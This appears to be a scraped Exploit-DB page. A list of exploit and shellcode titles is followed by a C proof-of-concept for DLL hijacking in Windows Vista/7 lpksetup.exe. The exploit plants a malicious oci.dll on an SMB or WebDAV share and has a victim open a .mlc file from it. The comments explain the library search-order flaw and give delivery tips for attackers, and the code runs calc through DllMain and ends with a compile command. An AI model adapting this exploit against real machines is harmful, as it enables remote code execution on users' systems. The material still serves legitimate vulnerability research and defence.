
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
57 lines
No EOL
2.3 KiB
C
57 lines
No EOL
2.3 KiB
C
// source: https://www.securityfocus.com/bid/44414/info
|
|
|
|
Microsoft Windows 'lpksetup.exe' is prone to a vulnerability that lets attackers execute arbitrary code.
|
|
|
|
An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.
|
|
|
|
/*
|
|
Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking
|
|
Vulnerability
|
|
Extension: .mlc
|
|
Author: Tyler Borland (tborland1@gmail.com)
|
|
Date: 10/20/2010
|
|
Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and
|
|
Windows 7 Enterprise should be vulnerable as well)
|
|
Effect: Remote Code Execution
|
|
|
|
lpksetup is the language pack installer that is included by default with
|
|
Windows Vista/7 Ultimate or Enterprise editions. By opening a .mlc file
|
|
through something like an open SMB or WebDav share, the oci.dll file will be
|
|
grabbed and ran in the context of the vulnerable application.
|
|
|
|
This is a LoadLibrary() load path bug. The load library search order is:
|
|
1. The directory from which the application loaded
|
|
2. 32-bit System directory (Windows\System32)
|
|
3. 16-bit System directory (Windows\System)
|
|
4. Windows directory (Windows)
|
|
5. Current working directory
|
|
6. Directories in the PATH environment variable
|
|
As OracleOciLib is not used on target system, oci.dll does not exist, so if
|
|
a full path is not supplied when calling the dll or the search path has not
|
|
been cleared before the call, we will hit our fifth search path and load the
|
|
library from the remote filesystem.
|
|
|
|
Interestingly enough, while lpksetup is blocked for execution by UAC under a
|
|
normal user, the injected library (payload) will still execute.
|
|
Exploiters make sure your system's security policy, secpol.msc, allows
|
|
complete anonymous share access for connecting users.
|
|
Outlook links seem to be the current exploit toyland, other vectors:
|
|
http://www.binaryplanting.com/attackVectors.htm
|
|
*/
|
|
|
|
#include <windows.h>
|
|
|
|
int main()
|
|
{
|
|
WinExec("calc", SW_NORMAL); // the typical non-lethal PoC
|
|
exit(0);
|
|
return 0;
|
|
}
|
|
|
|
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
|
{
|
|
main();
|
|
return 0;
|
|
}
|
|
|
|
/* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */ |